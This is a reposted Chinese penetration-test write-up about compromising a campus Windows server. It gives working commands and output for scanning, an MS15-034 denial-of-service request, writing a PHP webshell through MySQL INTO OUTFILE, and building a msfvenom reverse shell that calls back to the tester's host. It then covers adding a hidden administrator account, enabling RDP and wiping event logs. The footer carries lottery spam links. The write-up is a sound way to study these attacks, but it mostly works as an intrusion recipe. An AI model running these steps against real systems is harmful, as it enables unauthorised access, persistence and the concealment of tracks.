安基网 首页 安全 渗透测试 查看内容

针对校园某服务器的一次渗透测试

2020-4-26 13:08| 投稿: |来自:


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 0x00 前期交互及信息收集由于是对内网直接进行大扫描,所以直接判断这不仅是一个 Web 服务器(多个),同时还运行着 FTP、数据库。在此,再次使用 nmap 扫描一次,结果如下:$ sudo nmap -T4 -n -sS -sV -O聽192.168.3.72Nmap scan report聽for聽192.168.3.72Host is up (0.00076s latency).Not shown: ...

0x00 前期交互及信息收集


由于是对内网直接进行大扫描,所以直接判断这不仅是一个 Web 服务器(多个),同时还运行着 FTP、数据库。

在此,再次使用 nmap 扫描一次,结果如下:

$ sudo nmap -T4 -n -sS -sV -O聽192.168.3.72
Nmap scan report聽for聽192.168.3.72
Host is up (0.00076s latency).
Not shown:聽974聽closed ports
PORT STATE SERVICE VERSION
7/tcp open聽echo
9/tcp open discard?
13/tcp open daytime?
17/tcp open qotd Windows qotd (English)
19/tcp open chargen
21/tcp open ftp FileZilla ftpd
42/tcp open tcpwrapped
80/tcp open http Microsoft HTTPAPI httpd聽2.0聽(SSDP/UPnP)
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
999/tcp open http Apache httpd聽2.4.33聽((Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9聽mod_jk/1.2.40)
1801/tcp open msmq?
2107/tcp open msrpc Microsoft Windows RPC
2383/tcp open ms-olap4?
3306/tcp open mysql MySQL聽5.5.19
3389/tcp open ms-wbt-server?
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat/Coyote JSP engine聽1.1
8082/tcp open http Microsoft IIS httpd聽7.5
49152/tcp open msrpc Microsoft Windows RPC
1聽service unrecognized despite returning data.聽If聽you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port13-TCP:V=7.70%I=7%D=8/13%Time=5D53656C%P=x86_64-unknown-linux-gnu%r
SF:(NULL,12,"23:35:37x202019/8/13n")%r(NCP,12,"23:35:37x202019/8/13n");
Device type: general purpose
Running: Microsoft Windows Vista|2008|7
OS CPE: cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_vista::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_7
OS details: Microsoft Windows Vista SP1 - SP2, Windows Server聽2008聽SP2,聽or聽Windows聽7
Network Distance:聽2聽hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
参数解释:
聽聽聽-T<0-5>聽设置一个时间模板(数字越大速度越快,毋庸置疑快会牺牲扫描质量)
聽聽聽-n 不做 DNS 解析
聽聽聽-sS TCP SYN 半连接扫描
聽聽聽-sV 探测开放端口以确定服务版本信息
聽聽聽-O 开启操作系统探测

乍一看,跑了这么多服务。初步判断很可能有 vulnerabilities。

总结,这是一台操作系统为 Windows(目前未能确认具体版本)的、运行着 FileZilla FTP、MySQL 5。5。19、Web等服务;而且开放了太多端口。

Web 服务器端口:80、999、8080、8082;运行着这么几个 Web 服务。

不过经确认,只有 999 Apache 和 8082 IIS 两个端口提供的 Web 服务正常。

且,999 端口运行着 phpMyAdmin(一个以 PHP 为基础,以 Web-Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库),当然也是漏洞多多。

0x01 远程代码执行

在我一顿瞎掰操作下,其实是利用扫描器加手动验证;找到一个致命漏洞,该漏洞存在于端口 8082 IIS服务器上。

MS15-034 复现

HTTP.sys 远程执行代码漏洞 - CVE-2015-1635

当 HTTP。sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

若要利用此漏洞,攻击者必须将经特殊设计的 HTTP 请求发送到受影响的系统。通过修改 Windows HTTP 堆栈处理请求的方式,此更新可以修复此漏洞。

详细

根据微软安全公告,此漏洞貌似可以远程任意代码执行;但就我实际复现来说,好像并不成立。

通过给 IIS 服务器发送如下 HTTP 请求,便可触发这个漏洞。

GET / HTTP/1.1
Host:聽stuff
Range: bytes=0-18446744073709551615

而我就直接使用的 wget 测试此漏洞,当然还可以使用 curl 和 MSF。

$ wget --header="Range: bytes=0-18446744073709551615"聽http://192.168.3.72:8082/Images/top01.gif
--2019-08-13聽23:44:03-- http://192.168.3.72:8082/Images/top01.gif
Connecting to聽192.168.3.72:8082... connected.
HTTP request sent, awaiting response...聽416聽Requested Range Not Satisfiable
The file聽is聽already fully retrieved; nothing to聽do.

如上请求包,若IIS服务器返回 “Requested Range Not Satisfiable“,则是存在漏洞,否则如果返回 “The request has an invalid header name”,则说明漏洞已经修补。

进一步利用/危害

前面的远程任意代码执行并不成立;此漏洞就当前利用来说,只能造成两种危害。

我使用 MSF 来 exploit 利用方式。

如下,使用 MSF 读取服务器内核内存数据。

msf5 > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RHOSTS聽192.168.3.72
msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RPORT聽8082
msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set TARGETURI /Images/top01.gif
msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > exploit

[+] Target may be vulnerable...
[+] Stand by...
[-] Memory dump start position聽not聽found, dumping all data instead

[+] Memory聽contents:
48聽54聽54聽50聽2f聽31聽2e聽31聽20聽34聽30聽30聽20聽42聽61聽64聽聽聽聽|HTTP/1.1 400 Bad|
20聽52聽65聽71聽75聽65聽73聽74聽0d 0a聽43聽6f聽6e聽74聽65聽6e聽| Request..Conten|
74聽2d聽54聽79聽70聽65聽3a聽20聽74聽65聽78聽74聽2f聽68聽74聽6d聽|t-Type: text/htm|
6c聽3b聽20聽63聽68聽61聽72聽73聽65聽74聽3d聽75聽73聽2d聽61聽73聽聽聽聽|l; charset=us-as|
63聽69聽69聽0d 0a聽53聽65聽72聽76聽65聽72聽3a聽20聽4d聽69聽63聽聽聽聽|cii..Server: Mic|
… … … … … … … … …
72聽6f聽73聽6f聽66聽74聽2d聽48聽54聽54聽50聽41聽50聽49聽2f聽32聽聽聽聽|rosoft-HTTPAPI/2|
45聽72聽72聽6f聽72聽20聽34聽30聽30聽2e聽20聽54聽68聽65聽20聽72聽聽聽聽|Error 400. The r|
65聽71聽75聽65聽73聽74聽20聽68聽6f聽73聽74聽6e聽61聽6d聽65聽20聽聽聽聽|equest hostname |
69聽73聽20聽69聽6e聽76聽61聽6c聽69聽64聽2e聽3c聽2f聽70聽3e 0d聽|is invalid.

.|
0a聽3c聽2f聽42聽4f聽44聽59聽3e聽3c聽2f聽48聽54聽4d聽4c聽3e 0d聽|..|
0a聽|.|
[+] Memory dump saved to /home/f4n9x/.msf4/loot/20190814122223_default_192.168.3.72_iis.ms15034_317502.bin
[*] Scanned聽1聽of聽1聽hosts (100% complete)
[*] Auxiliary聽module聽execution聽completed

第二种,我直接使用 wget 命令。

$聽wget --header="Range: bytes=18-18446744073709551615"聽http://192.168.3.72/Images/top01.gif

在敲这条命令时,我双手一直是抖的。

这条命令回车下去直接对服务器造成 DoS 攻击,服务器必定假死或蓝屏;我就不回车了……

此漏洞利用,就到此为止咯。。。

哦,对了。记得更新补丁哦!!!

0x02 由 phpMyAdmin 入手

很不甘心,难道仅仅只能让此服务器蓝屏重启吗???

得想想办法拿到最高控制权!!!

再次整理思路……

phpMyAdmin URL 主页:192。168。3。72:999

目录爆破

首先使用了 nikto 扫描了此站是否还有其他目录。

$ nikto -host http://192.168.3.72:999/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.3.72
+ Target Hostname: 192.168.3.72
+ Target Port: 999
+聽Start聽Time:聽2019-08-13聽23:55:43聽(GMT8)
---------------------------------------------------------------------------
+聽Server: Apache/2.4.33聽(Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9聽mod_jk/1.2.40
+ Retrieved x-powered-by聽header: PHP/5.3.29
+ The X-XSS-Protection聽header聽is聽not聽defined. This header can hint聽to聽the聽user聽agent聽to聽protect against聽some聽forms聽of聽XSS
+ Uncommon header聽'x-ob_mode'聽found,聽with聽contents:聽0
+ The X-Content-Type-Options header聽is聽not聽set. This could聽allow聽the聽user聽agent聽to聽render the聽content聽of聽the site聽in聽a different fashion聽to聽the MIME聽type
+聽Server聽leaks inodes via ETags, header聽found聽with聽file聽/robots.txt,聽fields:聽0x1a聽0x4e4e67f49da00
+ Web聽Server聽returns聽a valid response聽with聽junk聽HTTP聽methods, this may cause聽false聽positives.
+ DEBUG聽HTTP聽verb may聽show聽server聽debugging information. See聽http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx聽for聽details.
+ OSVDB-877:聽HTTP聽TRACE聽method聽is聽active, suggesting the host聽is聽vulnerable聽to聽XST
+ OSVDB-3092: /setup/: This might be interesting...
+ OSVDB-3092: /README: README聽file聽found.
+ OSVDB-3233: /icons/README: Apache聽default聽file聽found.
+聽8348聽requests:聽0聽error(s)聽and聽17聽item(s) reported聽on聽remote host
+聽End聽Time:聽2019-08-13聽23:56:50聽(GMT8) (67聽seconds)
---------------------------------------------------------------------------
+聽1聽host(s) tested

重点在 “+ OSVDB-3092: /setup/: This might be interesting…“,这一条。

setup 没被关闭;由此判断管理员默认安装,这是很大的隐患。

如果管理员未对 phpmyadmin 目录下的 setup 文件进行安全处理,那普通用户可以在不进行身份认证的情况下,便可以配置服务器信息。

我在这里呢。直接反手新建了一个服务器(MySQL服务器)。

而且在认证页面发现缓存的密码(huweishen。com),根据密码可以猜测 phpMyAdmin 安装方式应该是此护卫神网站上的某款软件傻瓜式安装滴!

回到主页,未出意外地登录进去了。

CVE-2016-5734

中间还有一个小插曲。我找到一个 phpMyAdmin 需身份验证的远程代码执行漏洞。

CVE-2016-5734_POC

$聽./cve-2016-5734.py -c聽'system(ipconfig);'聽-u root -p toor http://192.168.5.99:999/
ERROR:
#1286 - Unknown storage engine聽'InnoDB'

但是很不幸,MySQL 中未开启 InnoDB 引擎。而开启方法只能是编辑系统中 MySQL 的配置文件 my.cnf。

MySQL [(none)]> show variables like聽"%innodb%";
+-----------------------+----------+
| Variable_name |聽Value聽|
+-----------------------+----------+
|聽have_innodb聽| DISABLED |
| ignore_builtin_innodb |聽OFF聽|
+-----------------------+----------+
2 rows聽in聽set (0.002 sec)

CVE-2016-5734 利用失败。。。

寻物理路径,外写木马

经测试发现,MySQL 中,into outfile 未被禁用,而且这里也不存在 WAF 拦截;root 用户拥有向外写文件的权限。

MySQL [(none)]> SELECT @@global.secure_file_priv;
+---------------------------+
| @@global.secure_file_priv |
+---------------------------+
| NULL |
+---------------------------+
1聽row聽in聽set聽(0.001聽sec)

再查询未使用 secure-file-priv 参数;这说明不仅能向外写文件,而且想往哪里写就往哪儿写。

所以,只需找到 Web 物理路径;使用 SQL 语句向 Web 目录写个一句话木马,就能拿到服务器的 shell。

首先先判断当前 MySQL 的数据、插件等目录:

MySQL [(none)]> show variables like聽"%dir%";
+-----------------------------------------+------------------------------------------+
| Variable_name |聽Value聽|
+-----------------------------------------+------------------------------------------+
|聽basedir聽| D:/HwsApacheMaster/mysql/ |
| binlog_direct_non_transactional_updates |聽OFF聽|
|聽character_sets_dir聽| D:HwsApacheMastermysqlsharecharsets |
| datadir |聽D:HwsApacheMastermysqlData聽|
|聽lc_messages_dir聽| D:HwsApacheMastermysqlshare |
| plugin_dir |聽D:HwsApacheMastermysqllib/plugin聽|
|聽slave_load_tmpdir聽| C:UsersMYSQL_~1.005AppDataLocalTemp |
| tmpdir |聽C:UsersMYSQL_~1.005AppDataLocalTemp聽|
+-----------------------------------------+------------------------------------------+
8 rows聽in聽set (0.002 sec)

发现 D: 下一个有趣的目录 HwsApacheMaster,仅此而已。

此时的我把精力转向 Web 页面;打算在网页上瞎几掰乱试,指望 Web Application 程序出错,大力出奇迹般的报错将 Web 物理路径爆出来。绞尽脑汁地让程序报错;可惜,并没有。。。

思考许久,我想到了。

前面通过浏览器缓存发现的那个密码(huweishen.com)很有意思,通过这个密码可以发现,phpMyAdmin 是管理员默认安装的;灵光一现,我直接去这个网站下载这个傻瓜式一键安装的软件(护卫神),安装至本地测试,不就知道了物理路径了嘛!!!

这款软件叫做【护卫神·Apache大师】;安装一整套环境至本地,发现目录结构如下:

├──聽D:/
│ ├── HwsApacheMaster
│ │ ├── phpmyadmin
│ │ │ ├── web
│ │ │聽| ├── libraries
│ │ │ |聽聽├── database
│ │ │聽| ├── doc
│ │ │ |聽聽├── js
│ │ │聽| ├── setup
│ │ │ |聽聽├── themes
│ │ ├── Apache2.2
│ │ ├── Tomcat8
│ │ ├── mysql
│ │ ├── Java
│ │ ├── php
… … … … …

此时很明确了,直接一句话木马写至某目录;注意转义符。

MySQL [(none)]> select "" into outfile 'D:HwsApacheMasterphpMyAdminwebshe11.php';
Query OK, 1 row affected (0.002 sec)

然后,就可以使用菜刀等 shell 连接工具与木马进行连接;连接密码为 a 。

由于菜刀只能在Windows上使用,而我操作系统为 Linux,使用的是另一款 shell 连接工具 AntSword(蚁剑) , 开源、跨平台的网站(shell)管理工具。

AntSword


连接上去后,进入终端,输入 cmd 命令会发现无法执行。

D:HwsApacheMasterphpmyadminweb> whoami
ret=127

这说明,php 配置文件 php.ini 中将一些危险函数给禁用掉了,即 disable_functions。将此项删除,清理一下缓存,便可以执行 cmd 了。

D:HwsApacheMasterphpmyadminweb> whoami
nt authoritysystem

哇,system 权限。可是比 Administrator 管理员用户权限还要大,这也省的我接下来的提权了。

由于 菜刀、蚁剑这类工具功能相比于 MSF 功能比较欠缺,所以我要再次生成一个木马用来反弹 shell 连接 MSF。

$ msfvenom聽--platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.23 LPORT=4444 -f exe -o she11.exe
参数:
聽聽聽聽--platform 平台
聽聽聽聽-p payload,有效载荷
聽聽聽聽LHOST 本地IP
聽聽聽聽LPORT 本地端口
聽聽聽聽-f 生成文件类型
聽聽聽聽-o 输出文件名

将生成的木马通过蚁剑传至服务器上一个有执行权限的目录;虽然我和服务器并不在一个网段(本以为要做内网穿透的),但防火墙为关闭状态,依旧能够建立连接。

首先,MSF 先在本地侦听着4444端口,等着 shell 反弹回来。

msf5聽>聽use聽exploit/multi/handler
msf5聽exploit(multi/handler) >聽set聽payload聽windows/x64/meterpreter/reverse_tcp
msf5聽exploit(multi/handler) >聽set聽LHOST聽192.168.5.23
msf5聽exploit(multi/handler) >聽set聽LPORT聽4444
msf5聽exploit(multi/handler) >聽exploit
[*]聽Started聽reverse聽TCP聽handler聽on聽192.168.5.23:4444

然后使用蚁剑,在 CMD 终端中执行刚刚生成的那个木马文件(she11.exe)

C:WindowsSystem32>聽C:/Windows/System32/she11.exe

回车执行这个 exe 后,在 MSF 这边就会生成一个 meterpreter。

[*]聽Started聽reverse聽TCP聽handler聽on聽192.168.5.23:4444
[*]聽Sending聽stage聽(206403聽bytes)聽to聽192.168.3.72
[*]聽Meterpreter聽session聽1聽opened聽(192.168.5.23:4444聽-> 192.168.3.72:55580)聽at聽2019-08-14聽17:59:57聽+0800

meterpreter聽>

getuid 获取当前用户,还是 SYSTEM 。

meterpreter聽> getuid
Server username: NT AUTHORITYSYSTEM

开启远程 RDP 连接

meterpreter > run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*] RDP聽is聽already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service聽is聽already聽set聽to auto
[*] Opening port聽in聽local firewall聽if聽necessary
[*] For cleanup execute Meterpreter resource file: /home/f4n9x/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txt

查看刚刚开启 RDP 执行的具体命令。

$聽cat聽/home/f4n9x/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txt
execute聽-H -f聽cmd.exe聽-a聽"/c 'netsh firewall set service type = remotedesktop mode = enable'"

进入 CMD 模式。

meterpreter聽>聽shell
Process聽7116聽created.
Channel聽3聽created.
Microsoft聽Windows聽[版本 6.1.7600]
版权所有 (c)聽2009聽Microsoft聽Corporation。保留所有权利。
C:WindowsSystem32>

查看当前所有用户。

C:WindowsSystem32>net user
的用户帐户
---------------------------------------------------------
Administrator Guest mysql
MySQL_HWS www

创建一个隐藏用户(Windows中在用户名后带上$即为隐藏,仅仅只是简单隐藏),并拉入管理员用户组,查看。

C:WindowsSystem32>net user she11$ D@i123 /add

C:WindowsSystem32>net localgroup administrators she11$ /add

C:WindowsSystem32>net user she11$
用户名 she11$
全名
注释
用户的注释
国家/地区代码聽000聽(系统默认值)
帐户启用 Yes
帐户到期 从不
上次设置密码聽2019/8/14聽0:30:02
密码到期聽2019/9/25聽0:30:02
密码可更改聽2019/8/14聽0:30:02
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录聽2019/8/14聽0:44:40
可允许的登录小时数 All
本地组成员 *Administrators *Users
全局组成员 *None
命令成功完成。

完成后,直接登录到服务器。

rdesktop聽192.168.3.72聽-u she11$ -p D@i123聽-g 1024x960

此过程中难免会留下日志信息痕迹,使用此命令来清理日志。

meterpreter > clearev
[*] Wiping聽16000聽records聽from聽Application...
[*] Wiping聽20128聽records聽from聽System...
[*] Wiping聽18688聽records聽from聽Security...



原文转自:https://mp.weixin.qq.com/s/X16Cog6R8TSbWqi1z-2_GA



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6819071962627703307/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

相关阅读

最新评论

 最新
返回顶部
上海11选5走势 上海11选5计划 极速赛车有官网吗 迪士尼彩票计划群 极速赛车计划龙虎 盛兴彩票计划群 极速赛车是骗局吗 极速赛车能不能赚钱 拉菲彩票计划群 GT彩票计划群